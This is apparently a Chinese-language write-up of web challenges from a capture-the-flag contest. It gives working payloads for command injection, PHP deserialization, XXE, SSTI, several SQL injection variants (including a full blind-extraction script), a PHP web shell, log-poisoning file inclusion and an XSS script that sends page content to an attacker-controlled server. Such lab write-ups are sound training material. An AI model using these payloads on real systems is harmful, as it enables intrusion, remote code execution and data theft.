PKWCTF2026-Web部分题解
本文记录了 PKWCTF 系列题目中的 Web 安全解题思路与实践过程,围绕不同场景下的漏洞分析与利用展开。内容涵盖 SUID 提权、Git 源码泄露、PHP 反序列化、XSS、文件上传与文件包含、XXE、SSTI、SQL 注入、CSRF、越权访问及业务逻辑漏洞等多个方向,并结合具体题目分析漏洞成因、关键线索与利用方式。通过对请求参数、源码逻辑、权限校验及数据处理流程的逐步分析,总结常见 Web
Web 部分题解
Linux之旅
发现权限不够,要 root
查 SUID:
find / -perm -4000 -type f 2>/dev/null
# /usr/local/bin/pingx
# /usr/bin/su
# /usr/bin/sudo
# ...这里发现了不知名文件名 pingx
解释下 SUID 提权的原因:
有 SUID 的文件,无论谁去执行,都默认以文件属主(通常是 root)的身份去运行:
ls -la /usr/local/bin/pingx
# -rwsr-xr-x 1 root root 16376进行了空格和 flag 关键词的过滤,绕过:
pingx '127.0.0.1;cat${IFS}/fla*'仓库中的圈套
git 泄露,用 git-dumper 爬下来:
git-dumper url ./随后通法:
git log --all --oneline --decorate
git show 5769cfc发现 secret.php:
<?php
highlight_file(__FILE__);
$flag = getenv("FLAG");
if ( "admin" == $_GET['cytcv'] && /**/ "bmkfdncd" == $_GET['fguyfnkkef']){
echo $flag;
}
?>这里看到 /**/ 猜测有不可见字符
在 python 中可以看到:
>>> \u2066fguyfnk\u2069kef
File "<python-input-2>", line 1
fguyfnkkef
^
SyntaxError: invalid non-printable character U+2066
>>> bmkfd\u2069ncd处理方法:node 中执行
encodeURIComponent("\u2066")随后把结果直接拼接进去就行,最终 exp:
/secret.php?cytcv=admin&%E2%81%A6fguyfnk%E2%81%A9kef=bmkfd%E2%81%A9ncd茉莉蜜茶
随便尝试登录发现给了个 cookie,尝试伪造后发现被 waf 了
尝试编码绕过:
O:12:"Session\User":1:{s:8:"username";S:5:"\61\64\6d\69\6e";}php 的 S hex 进制绕过
PKWSEC头像更新
抓包看到是 nginx,尝试下 .user.ini,随后成功
小虎鲸大冒险
<?php
$pass1 = isset($_GET["ticket"])
&& empty($_GET["ticket"])
&& $_GET["ticket"] !== "";
$pass2 = isset($_GET["depth"])
&& strlen($_GET["depth"]) <= 4
&& $_GET["depth"] > 1000;
$pass3 = isset($_POST["song"])
&& md5($_POST["song"]) == 0;
if ($pass1 && $pass2 && $pass3) {
echo "小虎鲸成功回家!";
echo $flag;
} else {
echo "小虎鲸还没有通过三关。";
}
第一个 empty 会将:
""(空字符串)"0"(字符串零)0(整数零)nullfalse[](空数组)
都视为空,都会返回 true
由此我们传入 ticket=0 即可
其余的用科学计数法和md5绕过即可
小虎鲸的银行账户
一个 CSRF
转钱的时候看到的一些接口和参数:
/transfer/do?to=xxx&amount=xxx并且我们可以让小虎鲸去访问我们的 url
http://8000-f11e96cf-990e-4aa2-90b7-19c8bf6dd25f.challenge.ctfplus.cn/transfer/do?to=111&amount=888888有了钱后购买即可
元素属性
把 disabled 删了即可
隐藏留言
登录进去后看到管理员 id 为:b2c3d4e5-f6a7-4b8c-9d0e-1f2a3b4c5d6e
这里只对单条登录接口做了校验,对多条没有任何校验,存在未授权:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"message_ids":["b2c3d4e5-f6a7-4b8c-9d0e-1f2a3b4c5d6e"]}' \
http://8080-d97fce20-ff08-4466-aa28-6c6a501db268.challenge.ctfplus.cn/api/MGetMessages得到:
{
"code": 0,
"data": {
"messages": [
{
"content": "系统维护记录:今晚升级了留言板后端。\n后台管理密钥:PKWCTF{e064e22b-fa28-462b-8619-6017c37f333b}\n记得保密,别让小喵看到啦喵。",
"id": "b2c3d4e5-f6a7-4b8c-9d0e-1f2a3b4c5d6e",
"is_private": 1,
"user_id": 1,
"username": "admin"
}
]
},
"msg": "success"
}客服工作台
xss 注入,提示的很明显了,用自己的 vps 在 80 端口开个监听:
sudo python3 -m http.server 80
要访问的是 /agent 随后注入 xss:
<script>
fetch('/agent')
.then(r => r.text())
.then(d => new Image().src =
'http://vps地址/?d=' + encodeURIComponent(d))
</script>随后拿到 /agent 的源码,在源码内即有 flag
mio上传
可以上传 .htaccess
里面直接指定特定文件后缀为 php 文件执行即可:
.htaccess:
AddHandler application/x-httpd-php .gif
cmd.gif
<?php echo shell_exec($_GET["c"]);?>mio空间
扫目录发现个字典,去爆破得到密码登录进去拿到 flag
4048
js:
function checkWin() {
if (winFlagShown) return;
if (score === 4048) {
winFlagShown = true;
statusBadge.textContent = document.querySelector('#winModal h2').textContent;
statusBadge.style.color = '#ffd700';
showWinModal();
const ENCODED_FLAG = '0x50, 0x4b, 0x57, 0x43, 0x54, 0x46, 0x7b, 0x33, 0x63, 0x35, 0x30, 0x30, 0x64, 0x37, 0x36, 0x2d, 0x36, 0x62, 0x32, 0x66, 0x2d, 0x34, 0x39, 0x34, 0x37, 0x2d, 0x38, 0x38, 0x38, 0x37, 0x2d, 0x39, 0x38, 0x62, 0x66, 0x65, 0x38, 0x34, 0x33, 0x37, 0x33, 0x65, 0x61, 0x7d';
const byteStrArr = ENCODED_FLAG.split(',').map(s => s.trim().replace(/^0x/,''));
const realHex = byteStrArr.join('');
const decoded = window.__Jsfuck.decode(realHex);
console.log('score = 4048,Flag :', decoded);
flagDisplay.textContent = decoded;
modalOverlay.classList.add('active');
}
}0x50=P 0x4b=K 0x57=W 0x43=C 0x54=T 0x46=F 0x7b={
0x33=3 0x63=c 0x35=5 0x30=0 0x30=0 0x64=d 0x37=7 0x36=6
0x2d=- 0x36=6 0x62=b 0x32=2 0x66=f 0x2d=-
0x34=4 0x39=9 0x34=4 0x37=7 0x2d=-
0x38=8 0x38=8 0x38=8 0x37=7 0x2d=-
0x39=9 0x38=8 0x62=b 0x66=f 0x65=e 0x38=8 0x34=4 0x33=3 0x37=7 0x33=3 0x65=e 0x61=a 0x7d=}拼接后拿到 flag
probe
尝试多个请求方法,试到 put:
┌──(only㉿only)-[/mnt/c/Users/only]
└─$ curl -X PUT -i http://80-78c9bf72-c47c-4d83-b2c2-0e86f1161895.challenge.ctfplus.cn/
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Date: Mon, 12 Oct 2026 12:48:57 GMT
Server: Apache/2.4.65 (Debian)
Vary: Accept-Encoding
Transfer-Encoding: chunked
<!-- Step 3: POST /probe -->Good. Now carry your identity to the probe.Your identity is probe_identity:PROBE_2026. Come to /probe via POST.<br><br><!-- Hint: X-Pkw-Auth: iamadmin -->Hint: Admins carry a special <b>X-Pkw-Auth</b> header to pass the probe.好像跳关了
给了提示后直接发包就行:
POST /probe HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: _ga=GA1.1.1373982497.1789868187; _clck=1ewdtso%5E2%5Ega8%5E0%5E2454; _clsk=7yfg04%5E1791809189838%5E30%5E1%5Ep.clarity.ms%2Fcollect; _ga_BFDVYZJ3DE=GS2.1.s1791805952$o16$g1$t1791809218$j58$l0$h0;probe_identity=PROBE_2026
X-Pkw-Auth: iamadmin魔术链
<?php
class Logger {
public $logFile;
public $content;
public function __destruct() { file_put_contents($this->logFile, $this->content);
}
}
class Database {
public $handler;
public function __toString() {
return $this->handler->query();
}
}
class Admin {
public $command;
public function __call($name, $args) {
return system($this->command);
}
}
if (isset($_GET['data'])) {
@unserialize(base64_decode($_GET['data']));
}
?>最终要到 Admin 的 __call
链子:
Logger -> Database -> Admin第一步的时候我们是的 content 的参数是 Database 这个对象即可
<?php
class Logger {
public $logFile;
public $content;
}
class Database {
public $handler;
}
class Admin {
public $command;
}
$admin = new Admin();
$admin->command = 'ls /;env';
$db = new Database();
$db->handler = $admin;
$logger = new Logger();
$logger->logFile = 'x';
$logger->content = $db;
echo base64_encode(serialize($logger));
纸上谈兵
xxe:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<register>
<name>&xxe;</name>
<phone>10086</phone>
<note>第一次登记,请多关照。</note>
</register><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>PKW学院
按照接口去找即可拿到 flag
丢标的报价
布尔盲注
判断注入是否存在
→ 提取当前数据库名 DATABASE()
→ 提取数据库版本 VERSION()
→ 查 information_schema.tables 里的表数量
→ 逐个提取表名
→ 对 secret_bids 表查行数
→ 逐字段提取 secret_bids 的 id / project / bid_price
→ 其中 bid_price 里就是 flag脚本:
import time
import requests
URL = "http://8080-9f236dc9-195b-4a5d-874b-d367dfeb4127.challenge.ctfplus.cn/"
PARAM = "project"
YES_MARK = "result hit"
session = requests.Session()
def oracle(condition: str) -> bool:
payload = f"1 AND {condition}"
for _ in range(3):
r = session.get(URL, params={PARAM: payload}, timeout=15)
if r.status_code == 200:
return YES_MARK in r.text
time.sleep(0.2)
raise RuntimeError(f"oracle failed: {payload}")
def scalar_bool(expr: str) -> bool:
return oracle(f"(SELECT {expr})")
def scalar_num(expr: str, lo: int = 0, hi: int = 1_000_000) -> int:
if not scalar_bool(f"({expr}) >= 0"):
raise ValueError(f"not numeric/NULL: {expr}")
while lo < hi:
mid = (lo + hi) // 2
if scalar_bool(f"({expr}) > {mid}"):
lo = mid + 1
else:
hi = mid
return lo
def scalar_string(expr: str, max_len: int = 1024) -> str:
binary_expr = f"CONVERT({expr} USING binary)"
n = scalar_num(f"LENGTH({binary_expr})", 0, max_len)
out = bytearray()
for pos in range(1, n + 1):
lo, hi = 0, 255
while lo < hi:
mid = (lo + hi) // 2
cond = f"ORD(MID({binary_expr}, {pos}, 1)) > {mid}"
if oracle(cond):
lo = mid + 1
else:
hi = mid
out.append(lo)
return out.decode("utf-8", errors="replace")
def main():
print("[*] database:", scalar_string("DATABASE()"))
print("[*] version :", scalar_string("VERSION()"))
print("[*] tables:")
table_count = scalar_num(
"(SELECT COUNT(*) FROM information_schema.tables "
"WHERE table_schema=DATABASE())"
)
for i in range(table_count):
table_name = scalar_string(
"(SELECT table_name FROM information_schema.tables "
f"WHERE table_schema=DATABASE() LIMIT {i},1)"
)
print(f" [{i}] {table_name}")
print("[*] secret_bids rows:")
row_count = scalar_num("(SELECT COUNT(*) FROM secret_bids)")
for i in range(row_count):
row_id = scalar_string(f"(SELECT id FROM secret_bids LIMIT {i},1)")
project = scalar_string(f"(SELECT project FROM secret_bids LIMIT {i},1)")
bid_price = scalar_string(f"(SELECT bid_price FROM secret_bids LIMIT {i},1)")
print(f" [{i}] id={row_id!r} project={project!r} bid_price={bid_price!r}")
if __name__ == "__main__":
main()教务系统
查询接口:
http://3000-9376c629-ddd7-46a5-b988-c6408e119050.challenge.ctfplus.cn/api/profile/view?id=1把 id 改为 30 即可看到:
{"code":0,"profile":{"id":30,"name":"赵铁柱","nickname":"1","id_card":"11010120071030730","address":"海淀区学院路130号","note":"PKWCTF{0c76687a-6e84-4 ——我是30号学长。毕业前我发现:教师端有个「账号管理」功能,可以重置任意账号的密码,但那个功能好像只是前端把入口藏起来了,后端到底拦没拦我不清楚……我毕业了没法再试,你们帮我试试?对了,王老师的工号是 T001。","graduated":1}}教师密码重置接口没有做鉴权,学生重置密码后拿到教师身份:
POST /api/teacher/resetPwd随后暴露后半段 flag
PKWSEC 员工名录
sillybird" uniunionon select 1,2,schema_name,4 from infoorrmation_schema.schemata-- -
-- 发现目标库:ctf
sillybird" uniunionon select 1,2,table_name,4 from infoorrmation_schema.tables where table_schema="ctf"-- -
-- 发现表:confidential_docs
sillybird" uniunionon select 1,2,column_name,4 from infoorrmation_schema.columns
where table_schema="ctf" anandd table_name="confidential_docs"-- -
-- 字段:id, doc_title, doc_secret
sillybird" uniunionon select 1,2,group_concat(doc_title," -> ",doc_secret separatoorr " ;; "),4
from ctf.confidential_docs-- -
-- 结果:员工名录(未脱敏) -> PKWCTF{9375cfbb-0178-45b8-9596-370c29aba55c}燕园论坛
ssti 没过滤
{{ lipsum.__globals__["__builtins__"].open("/challenge/flag").read() }}老机房的遗留系统
宽字节注入:
%bf' union select 1,(select group_concat(deal_name,0x3d,amount) from secret_deals),3,4-- -一券难求
实际问题是我们领券的时候,后端信任我们账户的 XFF
更改 XFF 即可领取多张券去购买 flag 即可(需并发去尝试)
小虎鲸的文档库
可以发现 docs.php 可以接受一个 file 参数去尝试去进行文件包含
尝试 docs.php?file=docs/intro.php 成功返回文档
随后就是对文件包含的尝试了,最终尝试到日志注入:
/docs.php?file=docs/../../../../var/log/apache2/error.log我们可以去尝试访问一个根本不存在的路径,从而把我们的马写入到日志中去执行:
GET /<?php system("env");?>1134f.php随后我们再去包含错误日志文件即可拿到 flag(flag 在 env 里面)